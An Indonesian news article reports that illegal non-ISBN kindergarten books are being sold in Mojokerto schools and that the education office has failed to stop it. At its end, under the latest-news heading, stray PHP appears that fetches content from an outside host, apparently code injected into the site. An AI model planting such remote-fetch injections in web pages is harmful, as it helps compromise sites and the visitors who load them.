Buku Ilegal Non ISBN Marak Di Mojokerto,Penerbit Resmi Resah

Senin, 11 Januari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | MOJOKERTO – Akibat lemahnya penga­wasan Dinas Pendidikan (Disdik) Kabupa­ten Mojokerto membuat segelintir oknum guru maupun kepala sekolah (kepsek) di tingkat TK/PAUD dengan leluasa menjual buku PAUD/TK kepada para mu­ridnya.

Dinas Pendidikan Kabupaten Mojokerto terkesan melegalkan penjualan buku PAUD/TK meski telah dilarang Kementerian Pen­didikan dan Kebudayaan (Kemendikdub) yang tertuang dalam UU Nomor 20 Tahun 2003 tentang Sistem Pendidikan Nasional. Di mana pihak sekolah dilarang menjual buku PAUD/TK karena akan mengurangi krea­tivitas terhadap anak didiknya. Apalagi yang beredar selama ini buku yang belum ber ISBN dan penerbitnya tidak bergabung IKAPI.

Dengan adanya perundang-undangan itu, kini Pemerintah Kab/Kota yang lain sejak be­berapa bulan silam melarang keras pihak sekolah dengan sanksi tegas. Namun mengapa di Kabupa­ten Mojokerto , tidak menerapkan hal sama da­lam larangan menjual buku PAUD/TK seperti yang diamanatkan UU.

Baca Juga:  Kapolda Lampung Melakukan Kunjungan kerja sipropam Ke pelabuhan Bakauheni Lama sel

Hasil investigasi tim Media Independen Online Indonesia PW.Jatim dilapangan, banyak ditemukan buku PAUD/TK yang ilegal alias tidak ada ISBN, padahal banyak penerbit buku yang memenuhi standar nasional sesuai ketentuan yang disyaratkan pemerintah untuk beredar dan layak dijadikan buku pendamping bagi siswa TK/PAUD, tetapi tidak mendapat tempat, sedangkan buku ilegal beredar bebas. Pertanyaannya mungkinkah ada konspirasi antara penerbit dengan pihak dinas Pendidikan Kabupaten Mojokerto ?. Kalau ini terus dibiarkan tentunya banyak yang dirugikan diantaranya siswa itu sendiri dan pemda terkait karena ada pajak masuk.

Baca Juga:  Seratus Hari Kerja Kapolri, 1.864 Kasus Diselesaikan Dengan Restorative Justice

Sumidi, Sekretaris PW MIO Indonesia Jawa Timur mengatakan, dalam persoalan penjualan buku PAUD/TK itu sebenarnya sudah jelas aturan dan kriterianya. Untuk itu pihak Dinas Pendidikan Kabupaten Mojokerto harus segera menertibkan juga menerapkan aturannya. Apa­lagi saat ini pemerintah pusat melalui Mendikbud sedang mendorong dalam pengadaan buku PAUD/TK itu diadakan dinas di tingkat daerah masing-masing.

”Apalagi pengadaan buku PAUD/TK itu langsung dibiayai pemerintah, jadi tidak perlu lagi membebankan wali muridnya,” kata Sumidi kepada media.

Menurutnya, alasan pengadaan buku PAUD/TK yang ilegal dan tidak ber ISBN sebenarnya sudah lemah serta berdampak negatif terhadap ku­rangnya kreativitas bagi peserta didik, karena materinya belum terverivikasi/sensor dan uji kelayakan, kata Sumidi. Dihubungi ditempat terpisah, Kusnan sales buku yang legal dan ber ISBN menerangkan, susah mas kalau kondisi dan kebijakkannya seperti ini, padahal dari sisi kualitas dan kuantitas buku yang saya jual jauh lebih baik dari buku buku yang beredar di sekolah sekolah selama ini.

Baca Juga:  Diduga Tidak Terima Di Beritakan PPK Desa Bumi Jaya Terkait Anggaran Pilkada Mengaku Adik Kajari Pontianak

Dari sisi harga juga tidak mahal dan sama dengan buku yang ilegal, tetapi kenapa buku yang legal dan ber ISBN tidak dipakai dan tersisih, kasihan penerbit yang taat aturan dan patuh hukum terabaikan. Mungkin ada kebijakkan yang salah di Dinas Pendidikkan Kabupaten Mojokerto, terang Kusnan dengan nada tanya. (Kat) (Bersambung)…

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim
Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 
Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 
Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas
Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran
DPO Perkara Tindak Pidana Korupsi Dana Desa (DD) di Ringkus
Gelar Vaksinasi Massal, Pemkab Kaur Tergetkan 2000 Dosis
Rutan Medaeng Akan Dibuat Mirip Apartemen

Berita Terkait

Senin, 8 Agustus 2022 - 21:30 WIB

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim

Senin, 27 Juni 2022 - 22:25 WIB

Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 

Senin, 27 Juni 2022 - 21:29 WIB

Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 

Kamis, 10 Februari 2022 - 06:46 WIB

Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas

Senin, 13 Desember 2021 - 13:29 WIB

Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>